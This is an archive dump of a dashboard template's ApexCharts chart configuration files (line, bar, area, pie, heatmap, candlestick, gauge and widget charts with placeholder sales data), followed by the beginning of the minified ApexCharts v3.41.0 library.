			name: "Revenue",
			type: "area",
			data: [2, 8, 25, 7, 20, 20, 51, 35, 42, 20, 33, 67],
		},
	],
	grid: {
		borderColor: "#cccccc",
		strokeDashArray: 5,
		xaxis: {
			lines: {
				show: true,
			},
		},
		yaxis: {
			lines: {
				show: false,
			},
		},
		padding: {
			top: 0,
			right: 0,
			bottom: 10,
			left: 0,
		},
	},
	xaxis: {
		categories: [
			"Jan",
			"Feb",
			"Mar",
			"Apr",
			"May",
			"Jun",
			"Jul",
			"Aug",
			"Sep",
			"Oct",
			"Nov",
			"Dec",
		],
	},
	yaxis: {
		labels: {
			show: false,
		},
	},
	colors: ["#5b4fb9", "#9196a2", "#66a4ff"],
	markers: {
		size: 0,
		opacity: 0.3,
		colors: ["#5b4fb9", "#9196a2", "#66a4ff"],
		strokeColor: "#ffffff",
		strokeWidth: 2,
		hover: {
			size: 7,
		},
	},
};

var chart = new ApexCharts(document.querySelector("#orders"), options);

chart.render();
vendor/apex/custom/graphs/radial-bar.js000066600000001442151150442740014140 0ustar00var options = {
	series: [40, 50, 60, 70, 80],
	chart: {
		height: 240,
		type: "radialBar",
	},
	plotOptions: {
		radialBar: {
			dataLabels: {
				name: {
					fontSize: "22px",
				},
				value: {
					fontSize: "16px",
				},
				total: {
					show: true,
					label: "Total",
					formatter: function (w) {
						// By default this function returns the average of all series. The below is just an example to show the use of custom formatter function
						return 249;
					},
				},
			},
		},
	},
	labels: ["Samsung", "Apple", "Nokia", "Motorola", "Huawei"],
	colors: [
		"#493f94",
		"#5247a7",
		"#5b4fb9",
		"#6b61c0",
		"#7c72c7",
		"#8c84ce",
		"#9d95d5",
		"#ada7dc",
		"#bdb9e3",
		"#cecaea",
	],
};

var chart = new ApexCharts(document.querySelector("#radial"), options);
chart.render();
vendor/apex/custom/graphs/line.js000066600000002436151150442740013075 0ustar00var options = {
	chart: {
		height: 300,
		type: "line",
		toolbar: {
			show: false,
		},
	},
	dataLabels: {
		enabled: false,
	},
	stroke: {
		curve: "smooth",
		width: 3,
	},
	series: [
		{
			name: "Sales",
			data: [10, 40, 15, 40, 20, 35, 20, 10, 31, 43, 56, 29],
		},
		{
			name: "Revenue",
			data: [2, 8, 25, 7, 20, 20, 51, 35, 42, 20, 33, 67],
		},
	],
	grid: {
		borderColor: "#cccccc",
		strokeDashArray: 5,
		xaxis: {
			lines: {
				show: true,
			},
		},
		yaxis: {
			lines: {
				show: false,
			},
		},
		padding: {
			top: 0,
			right: 0,
			bottom: 10,
			left: 0,
		},
	},
	xaxis: {
		categories: [
			"Jan",
			"Feb",
			"Mar",
			"Apr",
			"May",
			"Jun",
			"Jul",
			"Aug",
			"Sep",
			"Oct",
			"Nov",
			"Dec",
		],
	},
	yaxis: {
		labels: {
			show: false,
		},
	},
	colors: [
		"#493f94",
		"#5247a7",
		"#5b4fb9",
		"#6b61c0",
		"#7c72c7",
		"#8c84ce",
		"#9d95d5",
		"#ada7dc",
		"#bdb9e3",
		"#cecaea",
	],
	markers: {
		size: 0,
		opacity: 0.3,
		colors: [
			"#493f94",
			"#5247a7",
			"#5b4fb9",
			"#6b61c0",
			"#7c72c7",
			"#8c84ce",
			"#9d95d5",
			"#ada7dc",
			"#bdb9e3",
			"#cecaea",
		],
		strokeColor: "#ffffff",
		strokeWidth: 2,
		hover: {
			size: 7,
		},
	},
};

var chart = new ApexCharts(document.querySelector("#lineGraph"), options);

chart.render();
vendor/apex/custom/graphs/column-area.js000066600000003204151150442740014343 0ustar00var options = {
	series: [
		{
			name: "Income",
			type: "column",
			data: [25, 12, 20, 85, 12, 25, 19, 23, 18, 15, 22, 28],
		},
		{
			name: "Expenses",
			type: "area",
			data: [44, 55, 50, 40, 30, 10, 12, 22, 15, 19, 20, 17],
		},
	],
	chart: {
		height: 300,
		type: "line",
		toolbar: {
			show: false,
		},
	},
	stroke: {
		width: [0, 3],
		curve: "smooth",
	},
	plotOptions: {
		bar: {
			columnWidth: "70%",
			borderRadius: 8,
			distributed: true,
			dataLabels: {
				position: "top",
			},
		},
	},

	fill: {
		opacity: [0.85, 0.25, 1],
		gradient: {
			inverseColors: false,
			shade: "light",
			type: "vertical",
			opacityFrom: 0.85,
			opacityTo: 0.55,
			stops: [0, 100, 100, 100],
		},
	},

	markers: {
		size: 0,
	},
	xaxis: {
		categories: [
			"Jan",
			"Feb",
			"Mar",
			"Apr",
			"May",
			"Jun",
			"Jul",
			"Aug",
			"Sep",
			"Oct",
			"Nov",
			"Dec",
		],
		axisBorder: {
			show: false,
		},
		tooltip: {
			enabled: true,
		},
		labels: {
			show: true,
			rotate: -45,
			rotateAlways: true,
		},
	},
	yaxis: {
		show: false,
	},
	legend: {
		show: false,
	},
	grid: {
		borderColor: "#cccccc",
		strokeDashArray: 5,
		xaxis: {
			lines: {
				show: true,
			},
		},
		yaxis: {
			lines: {
				show: false,
			},
		},
		padding: {
			top: 0,
			right: 0,
			bottom: -20,
			left: 10,
		},
	},
	tooltip: {
		y: {
			formatter: function (val) {
				return val + " million";
			},
		},
	},
	colors: [
		"#493f94",
		"#5247a7",
		"#5b4fb9",
		"#6b61c0",
		"#7c72c7",
		"#8c84ce",
		"#9d95d5",
		"#ada7dc",
		"#bdb9e3",
		"#cecaea",
	],
};

var chart = new ApexCharts(document.querySelector("#columnArea"), options);
chart.render();
vendor/apex/custom/graphs/heatmap.js000066600000002400151150442740013554 0ustar00options = {
	series: [
		{
			name: "USA",
			data: [
				{
					x: "Q1",
					y: 33,
				},
				{
					x: "Q2",
					y: 43,
				},
				{
					x: "Q3",
					y: 56,
				},
				{
					x: "Q4",
					y: 69,
				},
			],
		},
		{
			name: "India",
			data: [
				{
					x: "Q1",
					y: 55,
				},
				{
					x: "Q2",
					y: 65,
				},
				{
					x: "Q3",
					y: 43,
				},
				{
					x: "Q4",
					y: 67,
				},
			],
		},
		{
			name: "Brazil",
			data: [
				{
					x: "Q1",
					y: 31,
				},
				{
					x: "Q2",
					y: 39,
				},
				{
					x: "Q3",
					y: 21,
				},
				{
					x: "Q4",
					y: 30,
				},
			],
		},
		{
			name: "Indonesia",
			data: [
				{
					x: "Q1",
					y: 43,
				},
				{
					x: "Q2",
					y: 55,
				},
				{
					x: "Q3",
					y: 38,
				},
				{
					x: "Q4",
					y: 49,
				},
			],
		},
	],
	legend: {
		show: false,
	},
	chart: {
		height: 300,
		type: "heatmap",
		toolbar: {
			show: false,
		},
	},
	colors: [
		"#493f94",
		"#5247a7",
		"#5b4fb9",
		"#6b61c0",
		"#7c72c7",
		"#8c84ce",
		"#9d95d5",
		"#ada7dc",
		"#bdb9e3",
		"#cecaea",
	],
	tooltip: {
		y: {
			formatter: function (val) {
				return "$" + val + " Million";
			},
		},
	},
};

var chart = new ApexCharts(document.querySelector("#heatmap"), options);
chart.render();
vendor/apex/custom/graphs/candlestick.js000066600000003023151150442740014423 0ustar00var options = {
	chart: {
		height: 300,
		type: "candlestick",
		toolbar: {
			show: false,
		},
		dropShadow: {
			enabled: true,
			opacity: 0.1,
			blur: 5,
			left: -10,
			top: 10,
		},
	},
	series: [
		{
			data: [
				{
					x: new Date(1538778600000),
					y: [6629.81, 6650.5, 6623.04, 6633.33],
				},
				{
					x: new Date(1538780400000),
					y: [6632.01, 6643.59, 6620, 6630.11],
				},
				{
					x: new Date(1538782200000),
					y: [6630.71, 6648.95, 6623.34, 6635.65],
				},
				{
					x: new Date(1538784000000),
					y: [6635.65, 6651, 6629.67, 6638.24],
				},
				{
					x: new Date(1538785800000),
					y: [6638.24, 6640, 6620, 6624.47],
				},
				{
					x: new Date(1538787600000),
					y: [6624.53, 6636.03, 6621.68, 6624.31],
				},
				{
					x: new Date(1538789400000),
					y: [6624.61, 6632.2, 6617, 6626.02],
				},
				{
					x: new Date(1538791200000),
					y: [6627, 6627.62, 6584.22, 6603.02],
				},
				{
					x: new Date(1538793000000),
					y: [6605, 6608.03, 6598.95, 6604.01],
				},
				{
					x: new Date(1538794800000),
					y: [6604.5, 6614.4, 6602.26, 6608.02],
				},
				{
					x: new Date(1538796600000),
					y: [6608.02, 6610.68, 6601.99, 6608.91],
				},
			],
		},
	],
	plotOptions: {
		candlestick: {
			colors: {
				upward: "#493f94",
				downward: "#ada7dc",
			},
		},
	},

	grid: {
		borderColor: "#fbdfe9",
	},
	xaxis: {
		type: "datetime",
	},
	yaxis: {
		tooltip: {
			enabled: true,
		},
	},
};

var chart = new ApexCharts(document.querySelector("#candleStick"), options);

chart.render();
vendor/apex/custom/graphs/pie.js000066600000000745151150442740012724 0ustar00var options = {
	chart: {
		width: 300,
		type: "pie",
	},
	labels: ["Team A", "Team B", "Team C", "Team D", "Team E"],
	series: [20, 34, 56, 25, 53],
	legend: {
		position: "bottom",
	},
	dataLabels: {
		enabled: false,
	},
	stroke: {
		width: 0,
	},
	colors: [
		"#493f94",
		"#5247a7",
		"#5b4fb9",
		"#6b61c0",
		"#7c72c7",
		"#8c84ce",
		"#9d95d5",
		"#ada7dc",
		"#bdb9e3",
		"#cecaea",
	],
};
var chart = new ApexCharts(document.querySelector("#pie"), options);
chart.render();
vendor/apex/custom/graphs/bar.js000066600000002434151150442740012710 0ustar00var options = {
	chart: {
		height: 300,
		type: "bar",
		toolbar: {
			show: false,
		},
	},
	dataLabels: {
		enabled: false,
	},
	stroke: {
		curve: "smooth",
		width: 3,
	},
	series: [
		{
			name: "Sales",
			data: [10, 40, 15, 40, 20, 35, 20, 10, 31, 43, 56, 29],
		},
		{
			name: "Revenue",
			data: [2, 8, 25, 7, 20, 20, 51, 35, 42, 20, 33, 67],
		},
	],
	grid: {
		borderColor: "#cccccc",
		strokeDashArray: 5,
		xaxis: {
			lines: {
				show: true,
			},
		},
		yaxis: {
			lines: {
				show: false,
			},
		},
		padding: {
			top: 0,
			right: 0,
			bottom: 10,
			left: 0,
		},
	},
	xaxis: {
		categories: [
			"Jan",
			"Feb",
			"Mar",
			"Apr",
			"May",
			"Jun",
			"Jul",
			"Aug",
			"Sep",
			"Oct",
			"Nov",
			"Dec",
		],
	},
	yaxis: {
		labels: {
			show: false,
		},
	},
	colors: [
		"#493f94",
		"#5247a7",
		"#5b4fb9",
		"#6b61c0",
		"#7c72c7",
		"#8c84ce",
		"#9d95d5",
		"#ada7dc",
		"#bdb9e3",
		"#cecaea",
	],
	markers: {
		size: 0,
		opacity: 0.3,
		colors: [
			"#493f94",
			"#5247a7",
			"#5b4fb9",
			"#6b61c0",
			"#7c72c7",
			"#8c84ce",
			"#9d95d5",
			"#ada7dc",
			"#bdb9e3",
			"#cecaea",
		],
		strokeColor: "#ffffff",
		strokeWidth: 2,
		hover: {
			size: 7,
		},
	},
};

var chart = new ApexCharts(document.querySelector("#barGraph"), options);

chart.render();
vendor/apex/custom/graphs/gauge.js000066600000001325151150442740013232 0ustar00var options = {
	series: [75],
	chart: {
		height: 240,
		type: "radialBar",
		offsetY: -10,
	},
	plotOptions: {
		radialBar: {
			startAngle: -135,
			endAngle: 135,
			dataLabels: {
				name: {
					fontSize: "16px",
					color: undefined,
					offsetY: 120,
				},
				value: {
					offsetY: 76,
					fontSize: "21px",
					color: undefined,
					formatter: function (val) {
						return val + "%";
					},
				},
			},
		},
	},
	colors: [
		"#493f94",
		"#5247a7",
		"#5b4fb9",
		"#6b61c0",
		"#7c72c7",
		"#8c84ce",
		"#9d95d5",
		"#ada7dc",
		"#bdb9e3",
		"#cecaea",
	],
	stroke: {
		dashArray: 4,
	},
	labels: ["Sales Ratio"],
};

var chart = new ApexCharts(document.querySelector("#gauge"), options);
chart.render();
vendor/apex/custom/graphs/area.js000066600000002402151150442740013047 0ustar00var options = {
	chart: {
		height: 300,
		type: "area",
		toolbar: {
			show: false,
		},
	},
	dataLabels: {
		enabled: false,
	},
	stroke: {
		curve: "smooth",
		width: 3,
	},
	series: [
		{
			name: "Sales",
			data: [10, 40, 15, 40, 20, 35, 20, 10, 31, 43, 56, 29],
		},
		{
			name: "Revenue",
			data: [2, 8, 25, 7, 20, 20, 51, 35, 42, 20, 33, 67],
		},
	],
	grid: {
		borderColor: "#cccccc",
		strokeDashArray: 5,
		xaxis: {
			lines: {
				show: true,
			},
		},
		yaxis: {
			lines: {
				show: false,
			},
		},
		padding: {
			top: 0,
			right: 0,
			bottom: 10,
			left: 0,
		},
	},
	xaxis: {
		categories: [
			"Jan",
			"Feb",
			"Mar",
			"Apr",
			"May",
			"Jun",
			"Jul",
			"Aug",
			"Sep",
			"Oct",
			"Nov",
			"Dec",
		],
	},
	yaxis: {
		labels: {
			show: false,
		},
	},
	colors: [
		"#493f94",
		"#5247a7",
		"#5b4fb9",
		"#6b61c0",
		"#7c72c7",
		"#8c84ce",
		"#9d95d5",
		"#ada7dc",
		"#bdb9e3",
		"#cecaea",
	],
	markers: {
		size: 0,
		opacity: 0.3,
		colors: [
			"#0068ff",
			"#ffffff",
			"#005ee6",
			"#0068ff",
			"#1a77ff",
			"#3386ff",
			"#4d95ff",
			"#66a4ff",
		],
		strokeColor: "#ffffff",
		strokeWidth: 2,
		hover: {
			size: 7,
		},
	},
};

var chart = new ApexCharts(document.querySelector("#areaGraph"), options);

chart.render();
vendor/apex/custom/graphs/donut.js000066600000000751151150442740013275 0ustar00var options = {
	chart: {
		width: 300,
		type: "donut",
	},
	labels: ["Team A", "Team B", "Team C", "Team D", "Team E"],
	series: [20, 35, 45, 65, 40],
	legend: {
		position: "bottom",
	},
	dataLabels: {
		enabled: false,
	},
	stroke: {
		width: 0,
	},
	colors: [
		"#493f94",
		"#5247a7",
		"#5b4fb9",
		"#6b61c0",
		"#7c72c7",
		"#8c84ce",
		"#9d95d5",
		"#ada7dc",
		"#bdb9e3",
		"#cecaea",
	],
};
var chart = new ApexCharts(document.querySelector("#donut"), options);
chart.render();
vendor/apex/custom/support/calls.js000066600000001524151150442740013471 0ustar00var options = {
	series: [
		{
			name: "Tickets",
			data: [200, 330, 548, 740, 880, 1100],
		},
	],
	chart: {
		type: "bar",
		height: 300,
		toolbar: {
			show: false,
		},
	},
	dataLabels: {
		enabled: false,
	},
	plotOptions: {
		bar: {
			borderRadius: 0,
			horizontal: true,
			distributed: true,
			barHeight: "80%",
			isFunnel: true,
		},
	},
	colors: [
		"#333333",
		"#444444",
		"#555555",
		"#666666",
		"#777777",
		"#888888",
		"#999999",
		"#AAAAAA",
	],
	dataLabels: {
		enabled: true,
		formatter: function (val, opt) {
			return opt.w.globals.labels[opt.dataPointIndex];
		},
		dropShadow: {
			enabled: true,
		},
	},
	xaxis: {
		categories: ["Closed", "Hold", "Resolved", "Waiting", "On Going", "Total"],
	},
	legend: {
		show: true,
	},
};

var chart = new ApexCharts(document.querySelector("#calls"), options);
chart.render();
vendor/apex/custom/support/tickets.js000066600000001560151150442740014041 0ustar00var options = {
	series: [
		{
			name: "Tickets",
			data: [200, 330, 548, 740, 880, 1100],
		},
	],
	chart: {
		type: "bar",
		height: 300,
		toolbar: {
			show: false,
		},
	},
	dataLabels: {
		enabled: false,
	},
	plotOptions: {
		bar: {
			borderRadius: 0,
			horizontal: true,
			distributed: true,
			barHeight: "80%",
			isFunnel: true,
		},
	},
	colors: [
		"#493f94",
		"#5247a7",
		"#5b4fb9",
		"#6b61c0",
		"#7c72c7",
		"#8c84ce",
		"#9d95d5",
		"#ada7dc",
		"#bdb9e3",
		"#cecaea",
	],
	dataLabels: {
		enabled: true,
		formatter: function (val, opt) {
			return opt.w.globals.labels[opt.dataPointIndex];
		},
		dropShadow: {
			enabled: true,
		},
	},
	xaxis: {
		categories: ["Closed", "Hold", "Resolved", "In Progress", "Open", "Total"],
	},
	legend: {
		show: true,
	},
};

var chart = new ApexCharts(document.querySelector("#tickets"), options);
chart.render();
vendor/apex/custom/graph-widgets/widget3.js000066600000002071151150442740014770 0ustar00var options = {
	chart: {
		height: 400,
		type: "area",
		toolbar: {
			show: false,
		},
	},
	dataLabels: {
		enabled: false,
	},
	stroke: {
		curve: "smooth",
		width: 3,
	},
	series: [
		{
			name: "In Progress",
			data: [10, 40, 15, 40, 20, 35, 20, 10, 31, 43, 56, 29],
		},
		{
			name: "Completed",
			data: [2, 8, 25, 7, 20, 20, 51, 35, 42, 20, 33, 67],
		},
	],
	grid: {
		borderColor: "#cccccc",
		strokeDashArray: 5,
		xaxis: {
			lines: {
				show: true,
			},
		},
		yaxis: {
			lines: {
				show: false,
			},
		},
		padding: {
			top: 0,
			right: 0,
			bottom: 10,
			left: 0,
		},
	},
	xaxis: {
		categories: [
			"Jan",
			"Feb",
			"Mar",
			"Apr",
			"May",
			"Jun",
			"Jul",
			"Aug",
			"Sep",
			"Oct",
			"Nov",
			"Dec",
		],
	},
	yaxis: {
		labels: {
			show: false,
		},
	},
	colors: ["#9196a2", "#5b4fb9"],
	markers: {
		size: 0,
		opacity: 0.3,
		colors: ["#9196a2", "#5b4fb9"],
		strokeColor: "#ffffff",
		strokeWidth: 2,
		hover: {
			size: 7,
		},
	},
};

var chart = new ApexCharts(document.querySelector("#widget3"), options);

chart.render();
vendor/apex/custom/graph-widgets/widget1.js000066600000002244151150442740014770 0ustar00var options = {
	chart: {
		height: 400,
		type: "area",
		toolbar: {
			show: false,
		},
	},
	dataLabels: {
		enabled: false,
	},
	stroke: {
		curve: "smooth",
		width: 3,
	},
	plotOptions: {
		bar: {
			columnWidth: "30%",
		},
	},
	series: [
		{
			name: "Sales",
			type: "column",
			data: [10, 40, 15, 40, 20, 35, 20, 10, 31, 43, 56, 29],
		},
		{
			name: "Revenue",
			type: "area",
			data: [2, 8, 25, 7, 20, 20, 51, 35, 42, 20, 33, 67],
		},
	],
	grid: {
		borderColor: "#cccccc",
		strokeDashArray: 5,
		xaxis: {
			lines: {
				show: true,
			},
		},
		yaxis: {
			lines: {
				show: false,
			},
		},
		padding: {
			top: 0,
			right: 0,
			bottom: 10,
			left: 0,
		},
	},
	xaxis: {
		categories: [
			"Jan",
			"Feb",
			"Mar",
			"Apr",
			"May",
			"Jun",
			"Jul",
			"Aug",
			"Sep",
			"Oct",
			"Nov",
			"Dec",
		],
	},
	yaxis: {
		labels: {
			show: false,
		},
	},
	colors: ["#5b4fb9", "#9196a2", "#66a4ff"],
	markers: {
		size: 0,
		opacity: 0.3,
		colors: ["#5b4fb9", "#9196a2", "#66a4ff"],
		strokeColor: "#ffffff",
		strokeWidth: 2,
		hover: {
			size: 7,
		},
	},
};

var chart = new ApexCharts(document.querySelector("#widget1"), options);

chart.render();
vendor/apex/custom/graph-widgets/widget2.js000066600000003617151150442740014776 0ustar00// Graph 1
var options1 = {
	series: [80],
	chart: {
		type: "radialBar",
		width: 72,
		height: 72,
		sparkline: {
			enabled: true,
		},
	},
	colors: ["#5b4fb9", "#9196a2", "#66a4ff"],
	dataLabels: {
		enabled: false,
	},
	plotOptions: {
		radialBar: {
			hollow: {
				margin: 0,
				size: "50%",
			},
			track: {
				margin: 0,
			},
			dataLabels: {
				show: false,
			},
		},
	},
};
var chart1 = new ApexCharts(document.querySelector("#radial1"), options1);
chart1.render();

// Graph 2
var options2 = {
	series: [70],
	chart: {
		type: "radialBar",
		width: 72,
		height: 72,
		sparkline: {
			enabled: true,
		},
	},
	colors: ["#5b4fb9", "#9196a2", "#66a4ff"],
	dataLabels: {
		enabled: false,
	},
	plotOptions: {
		radialBar: {
			hollow: {
				margin: 0,
				size: "50%",
			},
			track: {
				margin: 0,
			},
			dataLabels: {
				show: false,
			},
		},
	},
};
var chart2 = new ApexCharts(document.querySelector("#radial2"), options2);
chart2.render();

// Graph 3
var options3 = {
	series: [60],
	chart: {
		type: "radialBar",
		width: 72,
		height: 72,
		sparkline: {
			enabled: true,
		},
	},
	colors: ["#5b4fb9", "#9196a2", "#66a4ff"],
	dataLabels: {
		enabled: false,
	},
	plotOptions: {
		radialBar: {
			hollow: {
				margin: 0,
				size: "50%",
			},
			track: {
				margin: 0,
			},
			dataLabels: {
				show: false,
			},
		},
	},
};
var chart3 = new ApexCharts(document.querySelector("#radial3"), options3);
chart3.render();

// Graph 4
var options4 = {
	series: [50],
	chart: {
		type: "radialBar",
		width: 72,
		height: 72,
		sparkline: {
			enabled: true,
		},
	},
	colors: ["#f27436", "#9196a2", "#66a4ff"],
	dataLabels: {
		enabled: false,
	},
	plotOptions: {
		radialBar: {
			hollow: {
				margin: 0,
				size: "50%",
			},
			track: {
				margin: 0,
			},
			dataLabels: {
				show: false,
			},
		},
	},
};
var chart4 = new ApexCharts(document.querySelector("#radial4"), options4);
chart4.render();
vendor/apex/custom/graph-widgets/widget4.js000066600000003460151150442740014774 0ustar00// Graph 1
var options = {
	series: [40],
	chart: {
		height: 350,
		type: "radialBar",
		offsetY: -10,
	},
	plotOptions: {
		radialBar: {
			startAngle: -135,
			endAngle: 135,
			dataLabels: {
				name: {
					fontSize: "16px",
					color: undefined,
					offsetY: 120,
				},
				value: {
					offsetY: 76,
					fontSize: "22px",
					color: undefined,
					formatter: function (val) {
						return val + "%";
					},
				},
			},
		},
	},
	colors: ["#5b4fb9"],
	stroke: {
		dashArray: 4,
	},
	labels: ["Income"],
};
var chart = new ApexCharts(document.querySelector("#income"), options);
chart.render();

// Graph 2
var options2 = {
	series: [60],
	chart: {
		height: 350,
		type: "radialBar",
		offsetY: -10,
	},
	plotOptions: {
		radialBar: {
			startAngle: -135,
			endAngle: 135,
			dataLabels: {
				name: {
					fontSize: "16px",
					color: undefined,
					offsetY: 120,
				},
				value: {
					offsetY: 76,
					fontSize: "22px",
					color: undefined,
					formatter: function (val) {
						return val + "%";
					},
				},
			},
		},
	},
	colors: ["#5b4fb9"],
	stroke: {
		dashArray: 4,
	},
	labels: ["Expenses"],
};
var chart2 = new ApexCharts(document.querySelector("#expenses"), options2);
chart2.render();

// Graph 3
var options3 = {
	series: [80],
	chart: {
		height: 350,
		type: "radialBar",
		offsetY: -10,
	},
	plotOptions: {
		radialBar: {
			startAngle: -135,
			endAngle: 135,
			dataLabels: {
				name: {
					fontSize: "16px",
					color: undefined,
					offsetY: 120,
				},
				value: {
					offsetY: 76,
					fontSize: "22px",
					color: undefined,
					formatter: function (val) {
						return val + "%";
					},
				},
			},
		},
	},
	colors: ["#f27436"],
	stroke: {
		dashArray: 4,
	},
	labels: ["Revenue"],
};
var chart3 = new ApexCharts(document.querySelector("#revenue"), options3);
chart3.render();
vendor/apex/custom/graph-widgets/widget5.js000066600000003104151150442740014770 0ustar00var options1 = {
	series: [
		{
			data: [12, 14, 2, 47, 42, 15, 47, 75, 65, 19, 14],
		},
	],
	chart: {
		type: "line",
		width: 180,
		height: 35,
		sparkline: {
			enabled: true,
		},
	},
	colors: ["#f27436", "#cccccc"],
	tooltip: {
		fixed: {
			enabled: false,
		},
		x: {
			show: false,
		},
		y: {
			title: {
				formatter: function (seriesName) {
					return "";
				},
			},
		},
		marker: {
			show: false,
		},
	},
};

var chart1 = new ApexCharts(document.querySelector("#option1"), options1);
chart1.render();

// Sparkline 2
var options2 = {
	series: [
		{
			data: [12, 14, 2, 47, 42, 15, 47, 75, 65, 19, 14],
		},
	],
	chart: {
		type: "line",
		width: 180,
		height: 35,
		sparkline: {
			enabled: true,
		},
	},
	colors: ["#f27436", "#cccccc"],
	tooltip: {
		fixed: {
			enabled: false,
		},
		x: {
			show: false,
		},
		y: {
			title: {
				formatter: function (seriesName) {
					return "";
				},
			},
		},
		marker: {
			show: false,
		},
	},
};

var chart2 = new ApexCharts(document.querySelector("#option2"), options2);
chart2.render();

// Sparkline 3
var options3 = {
	series: [
		{
			data: [12, 14, 2, 47, 42, 15, 47, 75, 65, 19, 14],
		},
	],
	chart: {
		type: "line",
		width: 180,
		height: 35,
		sparkline: {
			enabled: true,
		},
	},
	colors: ["#f27436", "#cccccc"],
	tooltip: {
		fixed: {
			enabled: false,
		},
		x: {
			show: false,
		},
		y: {
			title: {
				formatter: function (seriesName) {
					return "";
				},
			},
		},
		marker: {
			show: false,
		},
	},
};

var chart3 = new ApexCharts(document.querySelector("#option3"), options3);
chart3.render();
vendor/apex/apexcharts.min.js000066600001751156151150442740012307 0ustar00/*!
 * ApexCharts v3.41.0
 * (c) 2018-2023 ApexCharts
 * Released under the MIT License.
 */
!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(t="undefined"!=typeof globalThis?globalThis:t||self).ApexCharts=e()}(this,(function(){"use strict";function t(t,e){var i=Object.keys(t);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(t);e&&(a=a.filter((function(e){return Object.getOwnPropertyDescriptor(t,e).enumerable}))),i.push.apply(i,a)}return i}function e(e){for(var i=1;i<arguments.length;i++){var a=null!=arguments[i]?arguments[i]:{};i%2?t(Object(a),!0).forEach((function(t){o(e,t,a[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(a)):t(Object(a)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(a,t))}))}return e}function i(t){return i="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t},i(t)}function a(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function s(t,e){for(var i=0;i<e.length;i++){var a=e[i];a.enumerable=a.enumerable||!1,a.configurable=!0,"value"in a&&(a.writable=!0),Object.defineProperty(t,a.key,a)}}function r(t,e,i){return e&&s(t.prototype,e),i&&s(t,i),t}function o(t,e,i){return e in t?Object.defineProperty(t,e,{value:i,enumerable:!0,configurable:!0,writable:!0}):t[e]=i,t}function n(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function");t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,writable:!0,configurable:!0}}),e&&h(t,e)}function l(t){return l=Object.setPrototypeOf?Object.getPrototypeOf:function(t){return t.__proto__||Object.getPrototypeOf(t)},l(t)}function h(t,e){return h=Object.setPrototypeOf||function(t,e){return t.__proto__=e,t},h(t,e)}function c(t,e){if(e&&("object"==typeof e||"function"==typeof e))return e;if(void 0!==e)throw new TypeError("Derived constructors may only return object or undefined");return function(t){if(void 0===t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return t}(t)}function d(t){var e=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(t){return!1}}();return function(){var i,a=l(t);if(e){var s=l(this).constructor;i=Reflect.construct(a,arguments,s)}else i=a.apply(this,arguments);return c(this,i)}}function g(t,e){return function(t){if(Array.isArray(t))return t}(t)||function(t,e){var i=null==t?null:"undefined"!=typeof Symbol&&t[Symbol.iterator]||t["@@iterator"];if(null==i)return;var a,s,r=[],o=!0,n=!1;try{for(i=i.call(t);!(o=(a=i.next()).done)&&(r.push(a.value),!e||r.length!==e);o=!0);}catch(t){n=!0,s=t}finally{try{o||null==i.return||i.return()}finally{if(n)throw s}}return r}(t,e)||p(t,e)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function u(t){return function(t){if(Array.isArray(t))return f(t)}(t)||function(t){if("undefined"!=typeof Symbol&&null!=t[Symbol.iterator]||null!=t["@@iterator"])return Array.from(t)}(t)||p(t)||function(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function p(t,e){if(t){if("string"==typeof t)return f(t,e);var i=Object.prototype.toString.call(t).slice(8,-1);return"Object"===i&&t.constructor&&(i=t.constructor.name),"Map"===i||"Set"===i?Array.from(t):"Arguments"===i||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(i)?f(t,e):void 0}}function f(t,e){(null==e||e>t.length)&&(e=t.length);for(var i=0,a=new Array(e);i<e;i++)a[i]=t[i];return a}var x=function(){function t(){a(this,t)}return r(t,[{key:"shadeRGBColor",value:function(t,e){var i=e.split(","),a=t<0?0:255,s=t<0?-1*t:t,r=parseInt(i[0].slice(4),10),o=parseInt(i[1],10),n=parseInt(i[2],10);return"rgb("+(Math.round((a-r)*s)+r)+","+(Math.round((a-o)*s)+o)+","+(Math.round((a-n)*s)+n)+")"}},{key:"shadeHexColor",value:function(t,e){var i=parseInt(e.slice(1),16),a=t<0?0:255,s=t<0?-1*t:t,r=i>>16,o=i>>8&255,n=255&i;return"#"+(16777216+65536*(Math.round((a-r)*s)+r)+256*(Math.round((a-o)*s)+o)+(Math.round((a-n)*s)+n)).toString(16).slice(1)}},{key:"shadeColor",value:function(e,i){return t.isColorHex(i)?this.shadeHexColor(e,i):this.shadeRGBColor(e,i)}}],[{key:"bind",value:function(t,e){return function(){return t.apply(e,arguments)}}},{key:"isObject",value:function(t){return t&&"object"===i(t)&&!Array.isArray(t)&&null!=t}},{key:"is",value:function(t,e){return Object.prototype.toString.call(e)==="[object "+t+"]"}},{key:"listToArray",value:function(t){var e,i=[];for(e=0;e<t.length;e++)i[e]=t[e];return i}},{key:"extend",value:function(t,e){var i=this;"function"!=typeof Object.assign&&(Object.assign=function(t){if(null==t)throw new TypeError("Cannot convert undefined or null to object");for(var e=Object(t),i=1;i<arguments.length;i++){var a=arguments[i];if(null!=a)for(var s in a)a.hasOwnProperty(s)&&(e[s]=a[s])}return e});var a=Object.assign({},t);return this.isObject(t)&&this.isObject(e)&&Object.keys(e).forEach((function(s){i.isObject(e[s])&&s in t?a[s]=i.extend(t[s],e[s]):Object.assign(a,o({},s,e[s]))})),a}},{key:"extendArray",value:function(e,i){var a=[];return e.map((function(e){a.push(t.extend(i,e))})),e=a}},{key:"monthMod",value:function(t){return 